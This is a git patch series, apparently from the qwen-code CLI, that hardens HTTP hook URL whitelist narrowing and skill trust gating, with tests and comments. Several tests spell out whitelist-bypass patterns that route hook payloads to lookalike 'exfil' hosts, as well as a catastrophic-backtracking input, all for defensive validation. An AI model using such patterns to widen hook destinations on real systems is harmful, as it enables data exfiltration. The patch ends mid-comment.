narrowWorkspaceHookSecurityOverrides( ); // A non-empty intersection replaces the higher-scope list (it is a // subset of what that list allows); otherwise the higher-scope policy - // stands unchanged. + // stands unchanged — a malformed workspace value is dropped here + // instead of reaching the merge, where it would replace the user's + // list and read as "allow all". if (narrowed.length > 0) { restSecurity.allowedHttpHookUrls = narrowed; } else { diff --git a/packages/cli/src/config/settingsSchema.ts b/packages/cli/src/config/settingsSchema.ts index 53663ae3efc..bb169d68bad 100644 --- a/packages/cli/src/config/settingsSchema.ts +++ b/packages/cli/src/config/settingsSchema.ts @@ -2991,7 +2991,7 @@ const SETTINGS_SCHEMA = { requiresRestart: false, default: [] as string[], description: - 'Whitelist of URL patterns for HTTP hooks. Supports * wildcard. If empty, all URLs are allowed (subject to SSRF protection). Only honored from User, System, and SystemDefaults settings scopes; a value set in Workspace settings can only narrow a higher-scope whitelist (entries not covered by it are dropped, and it is ignored entirely when no higher-scope whitelist is set), so a cloned repository cannot widen where hook payloads may be sent.', + 'Whitelist of URL patterns for HTTP hooks. Supports * wildcard. If empty, all URLs are allowed (subject to SSRF protection). Honored from User, System, and SystemDefaults settings scopes; a value set in Workspace settings can only narrow the User or SystemDefaults whitelist (entries not covered by it are dropped, and it is ignored entirely when no higher-scope whitelist is set), and a System-scope whitelist always takes precedence over it, so a cloned repository cannot widen where hook payloads may be sent.', showInDialog: false, items: { type: 'string', diff --git a/packages/core/src/hooks/httpHookRunner.test.ts b/packages/core/src/hooks/httpHookRunner.test.ts index 00f7473c2de..db9ffafdc1d 100644 --- a/packages/core/src/hooks/httpHookRunner.test.ts +++ b/packages/core/src/hooks/httpHookRunner.test.ts @@ -755,5 +755,39 @@ describe('HttpHookRunner', () => { await httpRunner.execute(config, HookEventName.PreToolUse, input); expect(mockFetch).toHaveBeenCalledTimes(2); }); + + it('should re-arm the redirect warning together with the once slot', async () => { + mockFetch.mockResolvedValue({ + ok: false, + status: 302, + headers: new Headers({ location: 'https://api.example.com/moved' }), + }); + + const config = createMockConfig({ once: true }); + const input = createMockInput(); + + const first = await httpRunner.execute( + config, + HookEventName.SessionStart, + input, + ); + expect(first.output?.systemMessage).toContain( + 'returned a redirect (302)', + ); + + httpRunner.resetOnceHooks(); + + // The re-armed hook fetches again and the user-visible remedy is + // shown again — the warning slot must not survive the reset. + const afterReset = await httpRunner.execute( + config, + HookEventName.SessionStart, + input, + ); + expect(mockFetch).toHaveBeenCalledTimes(2); + expect(afterReset.output?.systemMessage).toContain( + 'returned a redirect (302)', + ); + }); }); }); diff --git a/packages/core/src/hooks/httpHookRunner.ts b/packages/core/src/hooks/httpHookRunner.ts index f4e392aaa46..c7432d94461 100644 --- a/packages/core/src/hooks/httpHookRunner.ts +++ b/packages/core/src/hooks/httpHookRunner.ts @@ -504,6 +504,7 @@ export class HttpHookRunner { */ resetOnceHooks(): void { this.executedOnceHooks.clear(); + this.redirectWarnedHooks.clear(); } /** diff --git a/packages/core/src/hooks/urlValidator.test.ts b/packages/core/src/hooks/urlValidator.test.ts index 671220c185a..d70592e294a 100644 --- a/packages/core/src/hooks/urlValidator.test.ts +++ b/packages/core/src/hooks/urlValidator.test.ts @@ -274,4 +274,41 @@ describe('hookUrlPatternCovers', () => { // catch-all would widen the higher-scope policy. expect(hookUrlPatternCovers('\\*', 'https://corp.com/*')).toBe(false); }); + + it('fails closed on alternation inside a pre-escaped entry', () => { + // The literal reading covers, but the runtime compiles a pre-escaped + // pattern's non-* text as raw regex: the ungrouped alternation would + // match hosts outside the higher-scope pattern. + expect( + hookUrlPatternCovers('https://corp\\.com/*', 'https://corp\\.com/x|y/*'), + ).toBe(false); + }); + + it('fails closed when a pattern carries regex classes beyond \\.', () => { + // `\d` reads literally here, but the runtime treats it as the digit + // class, so the literal comparison cannot prove coverage. + expect( + hookUrlPatternCovers( + 'https://hooks\\.corp\\.com/status/\\d+/*', + 'https://hooks.corp.com/status/1/exfil', + ), + ).toBe(false); + expect( + hookUrlPatternCovers('https://corp.com/*', 'https://corp.com/a+b'), + ).toBe(false); + }); + + it('stays linear on long near-miss entries instead of backtracking', () => { + const start = Date.now(); + expect( + hookUrlPatternCovers( + 'https://hooks.corp.com/*/*/*/done', + `https://hooks.corp.com/${'a/'.repeat(100_000)}not-quite`, + ), + ).toBe(false); + // The regex this replaced measured seconds at ~1000 separators and + // scaled ~cubically; a linear scan finishes in milliseconds even on + // 200 KB entries. The generous bound only guards against regressions. + expect(Date.now() - start).toBeLessThan(2000); + }); }); diff --git a/packages/core/src/hooks/urlValidator.ts b/packages/core/src/hooks/urlValidator.ts index 35bf277e1e9..5f60283d8ac 100644 --- a/packages/core/src/hooks/urlValidator.ts +++ b/packages/core/src/hooks/urlValidator.ts @@ -194,22 +194,49 @@ export function createUrlValidator( * may only survive the merge when it merely narrows what a higher scope * already allows. * - * The check matches `inner` (its `*` read as literal characters) against - * `outer` compiled as a wildcard pattern; if `outer`'s literal chunks - * appear in `inner` in order, any concrete URL expanding `inner`'s - * wildcards keeps those chunks in order and therefore matches `outer`. - * The `\.` escape — the only one the validator's pre-escaped spelling - * uses — is normalized first so both spellings of the same pattern cover - * each other; anything the check cannot prove covered fails closed - * (returns false). + * Both patterns are read as literal text plus `*` wildcards — the language + * `compilePattern` assigns to a pattern carrying no regex content beyond + * the `\.` escape, which is normalized first so both spellings of the same + * pattern cover each other. Any other escape or regex metacharacter makes + * coverage unprovable (the pre-escaped `compilePattern` branch would read + * it as raw regex), so such patterns fail closed (return false). + * + * The comparison is a linear chunk scan — split `outer` on `*` and require + * the chunks in `inner` in order, anchored at both ends — never a regex + * test, because this runs on every startup merge and must stay O(n+m) on + * arbitrary-length workspace input (no catastrophic backtracking). */ export function hookUrlPatternCovers( outerPattern: string, innerPattern: string, ): boolean { const unescape = (pattern: string) => pattern.replace(/\\\./g, '.'); - const escaped = unescape(outerPattern) - .replace(/[.+?^${}()|[\]\\]/g, '\\$&') - .replace(/\*/g, '.*'); - return new RegExp(`^${escaped}$`, 'i').test(unescape(innerPattern)); + const outer = unescape(outerPattern).toLowerCase(); + const inner = unescape(innerPattern).toLowerCase(); + // `compilePattern` treats everything but `*` as raw regex once a pattern + // contains `\.`, so any remaining regex-active character could widen the + // runtime language past the literal reading used here. + const regexActive = /[+?^${}()|[\]\\]/; + if (regexActive.test(outer) || regexActive.test(inner)) { + return false; + } + const chunks = outer.split('*'); + if (chunks.length === 1) { + return inner === outer; + } + const first = chunks[0]; + const last = chunks[chunks.length - 1]; + if (!inner.startsWith(first) || !inner.endsWith(last)) { + return false; + } + let position = first.length; + const end = inner.length - last.length; + for (const chunk of chunks.slice(1, -1)) { + const found = inner.indexOf(chunk, position); + if (found === -1 || found + chunk.length > end) { + return false; + } + position = found + chunk.length; + } + return position <= end; } diff --git a/packages/vscode-ide-companion/schemas/settings.schema.json b/packages/vscode-ide-companion/schemas/settings.schema.json index b08dd023566..454baa8e485 100644 --- a/packages/vscode-ide-companion/schemas/settings.schema.json +++ b/packages/vscode-ide-companion/schemas/settings.schema.json @@ -1416,7 +1416,7 @@ } }, "allowedHttpHookUrls": { - "description": "Whitelist of URL patterns for HTTP hooks. Supports * wildcard. If empty, all URLs are allowed (subject to SSRF protection). Only honored from User, System, and SystemDefaults settings scopes; a value set in Workspace settings can only narrow a higher-scope whitelist (entries not covered by it are dropped, and it is ignored entirely when no higher-scope whitelist is set), so a cloned repository cannot widen where hook payloads may be sent.", + "description": "Whitelist of URL patterns for HTTP hooks. Supports * wildcard. If empty, all URLs are allowed (subject to SSRF protection). Honored from User, System, and SystemDefaults settings scopes; a value set in Workspace settings can only narrow the User or SystemDefaults whitelist (entries not covered by it are dropped, and it is ignored entirely when no higher-scope whitelist is set), and a System-scope whitelist always takes precedence over it, so a cloned repository cannot widen where hook payloads may be sent.", "type": "array", "items": { "description": "URL pattern (supports * wildcard)", diff --git a/scripts/dev.js b/scripts/dev.js index f616aaf2fc5..76b9d0f247f 100755 --- a/scripts/dev.js +++ b/scripts/dev.js @@ -74,12 +74,16 @@ const coreSourceUrl = pathToFileURL(coreSourcePath).href; const envVarResolverSourceUrl = pathToFileURL( join(root, 'packages', 'core', 'src', 'utils', 'envVarResolver.ts'), ).href; +const memoryScopesSourceUrl = pathToFileURL( + join(root, 'packages', 'core', 'src', 'memory', 'scopes.ts'), +).href; const loaderCode = ` import { pathToFileURL } from 'node:url'; const coreSourceUrl = '${coreSourceUrl}'; const envVarResolverSourceUrl = '${envVarResolverSourceUrl}'; +const memoryScopesSourceUrl = '${memoryScopesSourceUrl}'; export function resolve(specifier, context, nextResolve) { if (specifier === '@qwen-code/qwen-code-core') { @@ -96,6 +100,13 @@ export function resolve(specifier, context, nextResolve) { format: 'module', }; } + if (specifier === '@qwen-code/qwen-code-core/memoryScopes') { + return { + shortCircuit: true, + url: memoryScopesSourceUrl, + format: 'module', + }; + } return nextResolve(specifier, context); } `; From 817e1dc3e112e5ae9d3563b60259b1409bb9034d Mon Sep 17 00:00:00 2001 From: qwen-code-dev-bot Date: Wed, 5 Aug 2026 04:09:09 +0000 Subject: [PATCH 19/21] fix(hooks): harden hook whitelist narrowing and one-shot warning delivery (#8396) --- packages/cli/src/config/config.test.ts | 63 +++++++++++++++++++ packages/cli/src/config/config.ts | 17 +++-- .../core/src/hooks/hookAggregator.test.ts | 46 ++++++++++++++ packages/core/src/hooks/hookAggregator.ts | 34 +++++++--- packages/core/src/hooks/urlValidator.test.ts | 29 ++++++++- packages/core/src/hooks/urlValidator.ts | 16 ++++- 6 files changed, 188 insertions(+), 17 deletions(-) diff --git a/packages/cli/src/config/config.test.ts b/packages/cli/src/config/config.test.ts index 74e43273db8..b0e0227c74c 100644 --- a/packages/cli/src/config/config.test.ts +++ b/packages/cli/src/config/config.test.ts @@ -3302,6 +3302,69 @@ describe('loadCliConfig allowPrivateNetworkHooks', () => { }); }); +describe('loadCliConfig allowedHttpHookUrls', () => { + const originalArgv = process.argv; + + beforeEach(() => { + vi.resetAllMocks(); + vi.mocked(os.homedir).mockReturnValue('/mock/home/user'); + vi.stubEnv('GEMINI_API_KEY', 'test-api-key'); + }); + + afterEach(() => { + process.argv = originalArgv; + vi.unstubAllEnvs(); + vi.restoreAllMocks(); + }); + + it('should pass through security.allowedHttpHookUrls from settings', async () => { + process.argv = ['node', 'script.js']; + const settings: Settings = { + security: { + allowedHttpHookUrls: ['https://hooks.corp.com/*'], + }, + }; + const argv = await parseArguments(); + const config = await loadCliConfig(settings, argv, undefined, []); + expect(config.getAllowedHttpHookUrls()).toEqual([ + 'https://hooks.corp.com/*', + ]); + }); + + it('should read a malformed non-array allowedHttpHookUrls as an empty list instead of crashing', async () => { + process.argv = ['node', 'script.js']; + // A hand-edited settings file can hold a bare string here (settings + // are validated only as top-level JSON objects); it must be coerced + // before reaching the UrlValidator instead of aborting startup. + const settings: Settings = { + security: { + allowedHttpHookUrls: 'https://hooks.corp.com/*' as unknown as string[], + }, + }; + const argv = await parseArguments(); + const config = await loadCliConfig(settings, argv, undefined, []); + expect(config.getAllowedHttpHookUrls()).toEqual([]); + }); + + it('should drop non-string allowedHttpHookUrls entries', async () => { + process.argv = ['node', 'script.js']; + const settings: Settings = { + security: { + allowedHttpHookUrls: [ + 42, + 'https://hooks.corp.com/ci/*', + null, + ] as unknown as string[], + }, + }; + const argv = await parseArguments(); + const config = await loadCliConfig(settings, argv, undefined, []); + expect(config.getAllowedHttpHookUrls()).toEqual([ + 'https://hooks.corp.com/ci/*', + ]); + }); +}); + describe('loadCliConfig with includeDirectories', () => { const originalArgv = process.argv; diff --git a/packages/cli/src/config/config.ts b/packages/cli/src/config/config.ts index 08c8cde8a22..5c4ebc3dc6a 100755 --- a/packages/cli/src/config/config.ts +++ b/packages/cli/src/config/config.ts @@ -2277,10 +2277,19 @@ export async function loadCliConfig( warnings: resolvedCliConfig.warnings, bareMode, safeMode, - allowedHttpHookUrls: - bareMode || safeMode - ? [] - : (settings.security?.allowedHttpHookUrls ?? []), + allowedHttpHookUrls: (() => { + if (bareMode || safeMode) { + return []; + } + // Settings files are validated only as top-level JSON objects, so a + // hand-edited file can put a bare string or non-string entries here; + // reduce it to a valid list before it reaches the UrlValidator, which + // maps over it and would abort startup on a non-array. + const hookUrls = settings.security?.allowedHttpHookUrls; + return Array.isArray(hookUrls) + ? hookUrls.filter((entry): entry is string => typeof entry === 'string') + : []; + })(), allowPrivateNetworkHooks: bareMode || safeMode ? false diff --git a/packages/core/src/hooks/hookAggregator.test.ts b/packages/core/src/hooks/hookAggregator.test.ts index ad17bb8aa38..511753244bf 100644 --- a/packages/core/src/hooks/hookAggregator.test.ts +++ b/packages/core/src/hooks/hookAggregator.test.ts @@ -387,6 +387,29 @@ describe('HookAggregator', () => { expect(hookOutput.getDenyMessage()).toBe('msg1\nmsg2'); }); + it('should carry top-level systemMessage through so a one-shot warning survives', () => { + const outputs: HookOutput[] = [ + { continue: true, systemMessage: 'Warning: redirect to final URL' }, + { hookSpecificOutput: { decision: { behavior: 'allow' } } }, + ]; + + const results: HookExecutionResult[] = outputs.map((output) => ({ + hookConfig: { type: HookType.Command, command: 'echo test' }, + eventName: HookEventName.PermissionRequest, + success: true, + output, + duration: 100, + })); + + const result = aggregator.aggregateResults( + results, + HookEventName.PermissionRequest, + ); + expect(result.finalOutput?.systemMessage).toBe( + 'Warning: redirect to final URL', + ); + }); + it('should use last updatedInput', () => { const outputs: HookOutput[] = [ { @@ -568,6 +591,29 @@ describe('HookAggregator', () => { expect(result.finalOutput?.continue).toBe(false); }); + it('should concatenate systemMessages so a one-shot message survives later hooks', () => { + const outputs: HookOutput[] = [ + { continue: true, systemMessage: 'Warning: redirect to final URL' }, + { continue: true, systemMessage: 'session audited' }, + ]; + + const results: HookExecutionResult[] = outputs.map((output) => ({ + hookConfig: { type: HookType.Command, command: 'echo test' }, + eventName: HookEventName.SessionStart, + success: true, + output, + duration: 100, + })); + + const result = aggregator.aggregateResults( + results, + HookEventName.SessionStart, + ); + expect(result.finalOutput?.systemMessage).toBe( + 'Warning: redirect to final URL\nsession audited', + ); + }); + it('should concatenate additionalContext from multiple hooks', () => { const outputs: HookOutput[] = [ { diff --git a/packages/core/src/hooks/hookAggregator.ts b/packages/core/src/hooks/hookAggregator.ts index 912884ee956..ee8cc3405fb 100644 --- a/packages/core/src/hooks/hookAggregator.ts +++ b/packages/core/src/hooks/hookAggregator.ts @@ -202,13 +202,7 @@ export class HookAggregator { if (output.suppressOutput !== undefined) { merged.suppressOutput = output.suppressOutput; } - if (output.systemMessage !== undefined) { - merged.systemMessage = merged.systemMessage - ? [merged.systemMessage, output.systemMessage] - .filter(Boolean) - .join('\n') - : output.systemMessage; - } + this.appendSystemMessage(merged, output); } // Concatenate terminal sequences from all outputs @@ -258,6 +252,7 @@ export class HookAggregator { * Rules: * - behavior: deny wins over allow (security priority) * - message: concatenated with newlines + * - systemMessage: concatenated with newlines * - updatedInput: later values win * - updatedPermissions: concatenated * - interrupt: true wins over false @@ -272,6 +267,9 @@ export class HookAggregator { const allUpdatedPermissions: Array<{ type: string; tool?: string }> = []; for (const output of outputs) { + // Top-level systemMessage (e.g. the one-shot redirect warning) must + // survive even when an output carries no permission decision. + this.appendSystemMessage(merged, output); const specific = output.hookSpecificOutput; if (!specific) continue; @@ -373,10 +371,14 @@ export class HookAggregator { for (const output of outputs) { // Collect additionalContext for concatenation this.extractAdditionalContext(output, additionalContexts); - // Exclude terminalSequence from spread — it is concatenated below - const { terminalSequence: _ts, ...rest } = output; + // Exclude terminalSequence and systemMessage from the spread — both + // are concatenated below, so a one-shot message from an earlier hook + // survives later outputs instead of being overwritten. + const { terminalSequence: _ts, systemMessage: _sm, ...rest } = output; void _ts; + void _sm; merged = { ...merged, ...rest }; + this.appendSystemMessage(merged, output); } // Merge additionalContext with concatenation @@ -438,6 +440,20 @@ export class HookAggregator { } } + /** + * Append an output's systemMessage to merged, concatenating so a + * one-shot message from an earlier hook survives later outputs. + */ + private appendSystemMessage(merged: HookOutput, output: HookOutput): void { + if (output.systemMessage !== undefined) { + merged.systemMessage = merged.systemMessage + ? [merged.systemMessage, output.systemMessage] + .filter(Boolean) + .join('\n') + : output.systemMessage; + } + } + /** * Extract additional context from hook-specific outputs */ diff --git a/packages/core/src/hooks/urlValidator.test.ts b/packages/core/src/hooks/urlValidator.test.ts index d70592e294a..28d4b409702 100644 --- a/packages/core/src/hooks/urlValidator.test.ts +++ b/packages/core/src/hooks/urlValidator.test.ts @@ -298,12 +298,39 @@ describe('hookUrlPatternCovers', () => { ).toBe(false); }); + it('fails closed when a pre-escaped entry keeps a bare dot', () => { + // `compilePattern` takes the pre-escaped branch once a pattern carries + // `\.`, reading every non-* character as raw regex: a surviving bare + // dot is a wildcard there, so the literal comparison cannot prove + // coverage — the runtime regex matches lookalike hosts the outer + // pattern excludes. + expect( + hookUrlPatternCovers( + 'https://hooks.corp.com/*', + 'https://hooks\\.corp.com/*', + ), + ).toBe(false); + expect( + hookUrlPatternCovers( + 'https://hooks.example.co.uk/*', + 'https://hooks\\.example.co.uk/*', + ), + ).toBe(false); + // Why this must fail closed: the pre-escaped runtime regex treats the + // bare dots as wildcards and matches a different public host. + const runtime = new UrlValidator(['https://hooks\\.example.co.uk/*']); + expect(runtime.isAllowed('https://hooks.example.co/uk/exfil')).toBe(true); + }); + it('stays linear on long near-miss entries instead of backtracking', () => { const start = Date.now(); + // The input passes the startsWith/endsWith anchors, so the chunk-scan + // loop itself must walk the ~200 KB body before rejecting it: a + // quadratic rescan or regex-based containment would blow the bound. expect( hookUrlPatternCovers( 'https://hooks.corp.com/*/*/*/done', - `https://hooks.corp.com/${'a/'.repeat(100_000)}not-quite`, + `https://hooks.corp.com/${'a'.repeat(200_000)}/done`, ), ).toBe(false); // The regex this replaced measured seconds at ~1000 separators and diff --git a/packages/core/src/hooks/urlValidator.ts b/packages/core/src/hooks/urlValidator.ts index 5f60283d8ac..6e5286393a1 100644 --- a/packages/core/src/hooks/urlValidator.ts +++ b/packages/core/src/hooks/urlValidator.ts @@ -199,7 +199,8 @@ export function createUrlValidator( * the `\.` escape, which is normalized first so both spellings of the same * pattern cover each other. Any other escape or regex metacharacter makes * coverage unprovable (the pre-escaped `compilePattern` branch would read - * it as raw regex), so such patterns fail closed (return false). + * it as raw regex — including a bare `.` that survives the unescaping, + * which acts as a wildcard), so such patterns fail closed (return false). * * The comparison is a linear chunk scan — split `outer` on `*` and require * the chunks in `inner` in order, anchored at both ends — never a regex @@ -215,9 +216,18 @@ export function hookUrlPatternCovers( const inner = unescape(innerPattern).toLowerCase(); // `compilePattern` treats everything but `*` as raw regex once a pattern // contains `\.`, so any remaining regex-active character could widen the - // runtime language past the literal reading used here. + // runtime language past the literal reading used here. A bare `.` is + // regex-active in that branch too, but only after unescaping: the `\.` + // sequences it came from are literal dots, so strip them before checking. const regexActive = /[+?^${}()|[\]\\]/; - if (regexActive.test(outer) || regexActive.test(inner)) { + const bareDotAfterUnescape = (pattern: string) => + pattern.includes('\\.') && pattern.replace(/\\\./g, '').includes('.'); + if ( + regexActive.test(outer) || + regexActive.test(inner) || + bareDotAfterUnescape(outerPattern) || + bareDotAfterUnescape(innerPattern) + ) { return false; } const chunks = outer.split('*'); From 90002cb72ba44e5e6510bae61830897f29e1a28f Mon Sep 17 00:00:00 2001 From: qwen-code-dev-bot Date: Wed, 5 Aug 2026 11:33:38 +0000 Subject: [PATCH 20/21] fix(hooks): close home-root trust bypass and non-ASCII pattern divergence (#8396) --- .../skill-review-harness/text-capture.tsx | 17 ++++++ packages/cli/src/config/config.test.ts | 31 ++++++++++ packages/cli/src/config/config.ts | 8 +++ packages/cli/src/config/settings.test.ts | 34 +++++++++++ .../src/services/SkillCommandLoader.test.ts | 61 ++++++++++++++++++- .../cli/src/services/SkillCommandLoader.ts | 14 ++++- packages/core/src/hooks/urlValidator.test.ts | 27 ++++++++ packages/core/src/hooks/urlValidator.ts | 16 +++++ .../src/subagents/subagent-manager.test.ts | 61 +++++++++++++++++++ .../core/src/subagents/subagent-manager.ts | 10 ++- packages/core/src/tools/skill-utils.ts | 13 ++-- packages/core/src/tools/skill.test.ts | 46 ++++++++++++++ packages/core/src/tools/skill.ts | 11 +++- 13 files changed, 336 insertions(+), 13 deletions(-) diff --git a/integration-tests/terminal-capture/skill-review-harness/text-capture.tsx b/integration-tests/terminal-capture/skill-review-harness/text-capture.tsx index bb4aa5a63ce..a0ff5852271 100644 --- a/integration-tests/terminal-capture/skill-review-harness/text-capture.tsx +++ b/integration-tests/terminal-capture/skill-review-harness/text-capture.tsx @@ -230,11 +230,28 @@ async function main() { const coreSrcUrl = pathToFileURL( path.join(repoRoot, 'packages', 'core', 'index.ts'), ).href; + // Core's package.json maps the ./envVarResolver subpath to dist, which a + // fresh checkout lacks (and a built one may keep stale). `after` mode + // pulls it in via SkillReviewDialog -> config/settings.js, so it needs + // the same source remap as the bare specifier (mirrors scripts/dev.js). + const envVarResolverSrcUrl = pathToFileURL( + path.join( + repoRoot, + 'packages', + 'core', + 'src', + 'utils', + 'envVarResolver.ts', + ), + ).href; const loader = ` export function resolve(specifier, context, nextResolve) { if (specifier === '@qwen-code/qwen-code-core') { return { shortCircuit: true, url: '${coreSrcUrl}', format: 'module' }; } + if (specifier === '@qwen-code/qwen-code-core/envVarResolver') { + return { shortCircuit: true, url: '${envVarResolverSrcUrl}', format: 'module' }; + } return nextResolve(specifier, context); } `; diff --git a/packages/cli/src/config/config.test.ts b/packages/cli/src/config/config.test.ts index b0e0227c74c..00a4b1bc677 100644 --- a/packages/cli/src/config/config.test.ts +++ b/packages/cli/src/config/config.test.ts @@ -3346,6 +3346,37 @@ describe('loadCliConfig allowedHttpHookUrls', () => { expect(config.getAllowedHttpHookUrls()).toEqual([]); }); + it('should warn that a malformed allowedHttpHookUrls leaves HTTP hooks unrestricted', async () => { + process.argv = ['node', 'script.js']; + // The coercion to [] reads as "allow all" in the UrlValidator; the + // user's attempted restriction vanishes, so it must be surfaced. + const settings: Settings = { + security: { + allowedHttpHookUrls: 'https://hooks.corp.com/*' as unknown as string[], + }, + }; + const argv = await parseArguments(); + const config = await loadCliConfig(settings, argv, undefined, []); + expect(config.getAllowedHttpHookUrls()).toEqual([]); + expect( + config.getWarnings().some((w) => w.includes('allowedHttpHookUrls')), + ).toBe(true); + }); + + it('should not warn about allowedHttpHookUrls when the value is a valid list', async () => { + process.argv = ['node', 'script.js']; + const settings: Settings = { + security: { + allowedHttpHookUrls: ['https://hooks.corp.com/*'], + }, + }; + const argv = await parseArguments(); + const config = await loadCliConfig(settings, argv, undefined, []); + expect( + config.getWarnings().some((w) => w.includes('allowedHttpHookUrls')), + ).toBe(false); + }); + it('should drop non-string allowedHttpHookUrls entries', async () => { process.argv = ['node', 'script.js']; const settings: Settings = { diff --git a/packages/cli/src/config/config.ts b/packages/cli/src/config/config.ts index 5c4ebc3dc6a..59312b41ba8 100755 --- a/packages/cli/src/config/config.ts +++ b/packages/cli/src/config/config.ts @@ -2286,6 +2286,14 @@ export async function loadCliConfig( // reduce it to a valid list before it reaches the UrlValidator, which // maps over it and would abort startup on a non-array. const hookUrls = settings.security?.allowedHttpHookUrls; + if (hookUrls !== undefined && !Array.isArray(hookUrls)) { + // The coercion to [] reads as "allow all" in the UrlValidator, so + // surface the lost restriction instead of silently starting + // unrestricted. + resolvedCliConfig.warnings.push( + 'Warning: security.allowedHttpHookUrls is not a list and was ignored; HTTP hooks are unrestricted apart from SSRF protection.', + ); + } return Array.isArray(hookUrls) ? hookUrls.filter((entry): entry is string => typeof entry === 'string') : []; diff --git a/packages/cli/src/config/settings.test.ts b/packages/cli/src/config/settings.test.ts index a86c8a2dd7d..23a3dc1e35c 100644 --- a/packages/cli/src/config/settings.test.ts +++ b/packages/cli/src/config/settings.test.ts @@ -3487,6 +3487,40 @@ describe('Settings Loading and Merging', () => { ]); }); + it('should judge workspace coverage by the user whitelist when both user and systemDefaults set one', () => { + // Pins the User-before-SystemDefaults precedence of the + // narrowing `??` chain: the workspace entry is covered only by + // the systemDefaults pattern, so it must be judged against the + // USER list, dropped, and the user's whitelist must stand. + (mockFsExistsSync as Mock).mockReturnValue(true); + (fs.readFileSync as Mock).mockImplementation( + (p: fs.PathOrFileDescriptor) => { + if (p === USER_SETTINGS_PATH) + return JSON.stringify({ + security: { allowedHttpHookUrls: ['https://hooks.corp.com/*'] }, + }); + if (p === getSystemDefaultsPath()) + return JSON.stringify({ + security: { + allowedHttpHookUrls: ['https://managed.example.com/*'], + }, + }); + if (p === MOCK_WORKSPACE_SETTINGS_PATH) + return JSON.stringify({ + security: { + allowedHttpHookUrls: ['https://managed.example.com/ci/*'], + }, + }); + return '{}'; + }, + ); + + const settings = loadSettings(MOCK_WORKSPACE_DIR); + expect(settings.merged.security?.allowedHttpHookUrls).toEqual([ + 'https://hooks.corp.com/*', + ]); + }); + it('should survive a malformed workspace allowedHttpHookUrls and keep the user whitelist', () => { (mockFsExistsSync as Mock).mockReturnValue(true); (fs.readFileSync as Mock).mockImplementation( diff --git a/packages/cli/src/services/SkillCommandLoader.test.ts b/packages/cli/src/services/SkillCommandLoader.test.ts index 081970c8bc8..b8a6ea6404a 100644 --- a/packages/cli/src/services/SkillCommandLoader.test.ts +++ b/packages/cli/src/services/SkillCommandLoader.test.ts @@ -11,7 +11,7 @@ import { } from './SkillCommandLoader.js'; import { skillArgsPath } from './skill-args-file.js'; import { mkdtempSync, rmSync, readFileSync } from 'node:fs'; -import { tmpdir } from 'node:os'; +import * as os from 'node:os'; import { join } from 'node:path'; import { CommandKind, type CommandContext } from '../ui/commands/types.js'; import { @@ -291,7 +291,7 @@ describe('SkillCommandLoader', () => { it('should append raw invocation when args are provided', async () => { // The args file is written relative to the process's directory; without a // temp cwd this suite would write into the real repository. - const dir = mkdtempSync(join(tmpdir(), 'skill-cmd-args-')); + const dir = mkdtempSync(join(os.tmpdir(), 'skill-cmd-args-')); const cwd = process.cwd(); process.chdir(dir); try { @@ -603,6 +603,63 @@ describe('SkillCommandLoader', () => { expect(mockAddSessionAllowRule).toHaveBeenCalledTimes(2); }); + + it('does not grant allowedTools for a user-level skill when the project root is the home directory', async () => { + // SkillManager skips the 'project' level when the project root IS + // the home directory, so repository-committed skills surface at + // 'user' level there and must stay gated on folder trust. + (mockConfig.getProjectRoot as ReturnType).mockReturnValue( + os.homedir(), + ); + (mockConfig.isTrustedFolder as ReturnType).mockReturnValue( + false, + ); + const skill = makeSkill({ + level: 'user', + allowedTools: ['Bash(git *)', 'Edit'], + }); + mockSkillManager.listSkills.mockImplementation( + ({ level }: { level: string }) => + Promise.resolve(level === 'user' ? [skill] : []), + ); + + const loader = new SkillCommandLoader(mockConfig); + const commands = await loader.loadCommands(signal); + await commands[0].action?.({} as CommandContext, ''); + + expect(mockAddSessionAllowRule).not.toHaveBeenCalled(); + }); + + it('re-reads folder trust at invocation time, not load time', async () => { + // Workspace trust can flip mid-session without a restart in IDE + // mode (Config.isTrustedFolder() live-reads the IDE context). The + // gate must re-read trust inside the action closure — hoisting the + // read into loadCommands scope would freeze the untrusted verdict + // and silently diverge from the SkillTool path. + (mockConfig.isTrustedFolder as ReturnType).mockReturnValue( + false, + ); + const skill = makeSkill({ + level: 'project', + allowedTools: ['Bash(git *)', 'Edit'], + }); + mockSkillManager.listSkills.mockImplementation( + ({ level }: { level: string }) => + Promise.resolve(level === 'project' ? [skill] : []), + ); + + const loader = new SkillCommandLoader(mockConfig); + const commands = await loader.loadCommands(signal); + + (mockConfig.isTrustedFolder as ReturnType).mockReturnValue( + true, + ); + await commands[0].action?.({} as CommandContext, ''); + + expect(mockAddSessionAllowRule).toHaveBeenCalledTimes(2); + expect(mockAddSessionAllowRule).toHaveBeenNthCalledWith(1, 'Bash(git *)'); + expect(mockAddSessionAllowRule).toHaveBeenNthCalledWith(2, 'Edit'); + }); }); describe('skills.disabled filter', () => { diff --git a/packages/cli/src/services/SkillCommandLoader.ts b/packages/cli/src/services/SkillCommandLoader.ts index 15db8c4497b..a8208425270 100644 --- a/packages/cli/src/services/SkillCommandLoader.ts +++ b/packages/cli/src/services/SkillCommandLoader.ts @@ -13,7 +13,8 @@ import { isTrustedSkillLevel, recordAutoSkillUsage, } from '@qwen-code/qwen-code-core'; -import { dirname } from 'node:path'; +import * as os from 'node:os'; +import { dirname, resolve } from 'node:path'; import type { ICommandLoader } from './types.js'; import { writeSkillArgs, @@ -156,9 +157,16 @@ export class SkillCommandLoader implements ICommandLoader { // is submitted — never for repo-supplied skills in an untrusted // folder, where frontmatter would otherwise grant session-wide // permission auto-approvals. Same fail-closed gate as SkillTool: - // only levels that cannot originate from the repository skip it. + // only levels that cannot originate from the repository skip it, + // and when the project root IS the home directory, listing skips + // 'project' and repository-committed skills surface at 'user' + // level, so that combination is gated too. + const homeIsProjectRoot = + this.config !== null && + resolve(this.config.getProjectRoot()) === resolve(os.homedir()); if ( - isTrustedSkillLevel(skill.level) || + (isTrustedSkillLevel(skill.level) && + !(skill.level === 'user' && homeIsProjectRoot)) || this.config?.isTrustedFolder() ) { applySkillAllowedTools( diff --git a/packages/core/src/hooks/urlValidator.test.ts b/packages/core/src/hooks/urlValidator.test.ts index 28d4b409702..ee96d36a52e 100644 --- a/packages/core/src/hooks/urlValidator.test.ts +++ b/packages/core/src/hooks/urlValidator.test.ts @@ -248,6 +248,33 @@ describe('hookUrlPatternCovers', () => { ).toBe(true); }); + it('fails closed on non-ASCII patterns whose case folding diverges at runtime', () => { + // toLowerCase() folds ẞ (U+1E9E) to ß (U+00DF), equating these + // hosts, but the runtime's non-Unicode /i regex never matches the two + // across — a "covers" verdict would let the inner entry survive the + // merge while its runtime regex admits a host the outer pattern + // rejects. Hook URLs are realistically 